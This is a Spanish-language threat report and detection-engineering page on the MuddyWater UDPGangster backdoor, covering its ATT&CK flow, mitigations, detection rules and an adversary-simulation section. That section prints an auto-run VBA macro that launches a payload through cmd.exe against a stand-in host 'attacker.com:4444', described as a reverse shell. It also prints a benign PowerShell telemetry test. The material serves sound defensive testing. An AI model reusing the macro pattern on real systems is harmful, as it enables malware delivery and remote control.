Ataques de UDPGangster se Extienden a Múltiples Países
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
UDPGangster es una puerta trasera basada en UDP utilizada por el grupo de amenazas MuddyWater para controlar remotamente hosts de Windows. El compromiso inicial se produce a través de un documento de Word malicioso que utiliza macros VBA para soltar y ejecutar la carga útil. El malware realiza extensas verificaciones de anti-análisis y mantiene la persistencia copiándose en el directorio AppData del usuario y creando una clave Run. Se han observado campañas recientes dirigidas a usuarios en Turquía, Israel y Azerbaiyán.
Investigación
FortiGuard Labs examinó los correos electrónicos de phishing, la macro VBA incrustada, el ejecutable descargado y sus técnicas de persistencia. Extraeron indicadores como rutas de archivos, entradas de ejecución en el registro, nombres de mutex y la infraestructura C2 asociada. Al correlacionar direcciones IP, dominios y rutas PDB, los analistas pudieron vincular esta actividad a operaciones anteriores de MuddyWater.
Mitigación
Los pasos de mitigación incluyen el bloqueo de macros o una sólida capacitación de usuarios para evitar la ejecución de macros, y el despliegue de defensas en el endpoint que detecten escrituras sospechosas en carpetas públicas o de perfiles de usuarios, así como modificaciones a las claves de registro Run. Los equipos de red deberían monitorear el tráfico UDP anómalo en el puerto 1269 y bloquear direcciones IP y dominios maliciosos conocidos para interrumpir los canales C2.
Respuesta
Cuando se detecta actividad de UDPGangster, aísle el endpoint afectado, recopile memoria volátil e imágenes completas del disco, y busque el binario de la puerta trasera y artefactos relacionados. Bloquee la infraestructura C2 identificada, realice un análisis forense exhaustivo para descubrir sistemas comprometidos adicionales y actualice las firmas de seguridad para detectar tanto los documentos macro maliciosos como la carga útil de la puerta trasera.
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[«<b>Acción</b> – <b>T1566.001 Adjunto de Spearphishing</b>: Correo electrónico con documento Word malicioso y archivo ZIP.»] class action_phishing action action_macro[«<b>Acción</b> – <b>T1059.005 Intérprete de Comandos y Scripts: VBA</b>: La macro Document_Open decodifica una carga Base64 en C:\\Users\\Public\\ui.txt.»] class action_macro action action_vba_stomping[«<b>Acción</b> – <b>T1564.007 Ocultar Artefactos: VBA Stomping</b>: Binario malicioso oculto en la macro que se materializa en tiempo de ejecución.»] class action_vba_stomping action action_obfuscation[«<b>Acción</b> – <b>T1027.004 Compilar Después de la Entrega</b>: Carga útil ofuscada mediante codificación Base64 y técnicas de compilación.»] class action_obfuscation action action_persistence_copy[«<b>Acción</b> – <b>T1547.014 Ejecución de Inicio Automático al Arranque o Inicio de Sesión</b>: Copia la puerta trasera en %AppData%\\RoamingLow\\SystemProc.exe.»] class action_persistence_copy action action_registry_persistence[«<b>Acción</b> – <b>T1547.014 Clave Run del Registro</b>: Crea una entrada de inicio en HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.»] class action_registry_persistence action action_anti_sandbox[«<b>Acción</b> – <b>T1497.002 Evasión de Virtualización/Sandbox</b>: Realiza detección de depuradores, conteo de núcleos CPU, tamaño de RAM, prefijo MAC, estado de dominio, consultas WMI, escaneos del registro y comprobaciones de DLLs de sandbox conocidas.»] class action_anti_sandbox action action_c2_udp[«<b>Acción</b> – <b>T1571 Puerto No Estándar</b>: Se comunica con el C2 a través del puerto UDP 1269.»] class action_c2_udp action action_raw_udp[«<b>Acción</b> – <b>T1095 Protocolo No de Capa de Aplicación</b>: Utiliza paquetes UDP sin procesar para el tráfico.»] class action_raw_udp action action_data_encoding[«<b>Acción</b> – <b>T1132.002 Codificación Personalizada</b>: La información del sistema se codifica mediante una transformación de rotación a la derecha antes de la exfiltración.»] class action_data_encoding action malware_backdoor[«<b>Malware</b>: Binario de puerta trasera personalizada»] class malware_backdoor malware process_c2[«<b>Proceso</b>: Servidor C2 remoto»] class process_c2 process %% Connections showing attack flow action_phishing u002du002du003e|entrega| action_macro action_macro u002du002du003e|materializa| action_vba_stomping action_vba_stomping u002du002du003e|ofusca| action_obfuscation action_obfuscation u002du002du003e|copia en AppData| action_persistence_copy action_persistence_copy u002du002du003e|crea clave Run| action_registry_persistence action_registry_persistence u002du002du003e|habilita| malware_backdoor action_vba_stomping u002du002du003e|ejecuta| action_anti_sandbox action_anti_sandbox u002du002du003e|si pasa| action_c2_udp action_c2_udp u002du002du003e|usa| action_raw_udp action_raw_udp u002du002du003e|envía datos codificados| action_data_encoding action_data_encoding u002du002du003e|a| process_c2 process_c2 u002du002du003e|controla| malware_backdoor
Flujo de Ataque
Detecciones
Detección de Comunicación C2 de UDPGangster vía Puerto UDP 1269 [Conexión de Red de Windows]
Ver
Ejecución Remota de Comandos de UDPGangster vía CreateProcessA y cmd.exe [Creación de Procesos de Windows]
Ver
Detección de Creación de Mutex de UDPGangster [Sysmon de Windows]
Ver
IOCs (SourceIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países
Ver
IOCs (DestinationIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países
Ver
Ejecución de Simulación
Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber sido aprobada.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante entrega un documento de Word malicioso que contiene una macro VBA. La macro llama a la API de WindowsCreateProcessApara generarcmd.exey ejecutar la carga útil de UDPGangster (udp_gangster.exe). La carga útil establece una shell inversa al servidor C2 del atacante. Debido a que la macro pasa explícitamente la cadena “CreateProcessA” y el literalcmd.exeen la línea de comandos, la regla de detección coincidirá.-
Macro VBA (simplificada) – demuestra la llamada a la API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Desplegar la macro, abrir el documento y dejar que la macro se ejecute. El evento de creación del proceso resultante contendrá:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Script de Prueba de Regresión: El siguiente script de PowerShell reproduce exactamente la telemetría sin requerir un documento de Word. Llama a la API nativa de Win32
CreateProcessAvíaAdd-Type.# Prueba regresiva: llamada directa a CreateProcessA con cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Comandos de Limpieza: Remueva el artefacto creado durante la simulación.
# Eliminar el archivo de registro temporal generado por la simulación Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue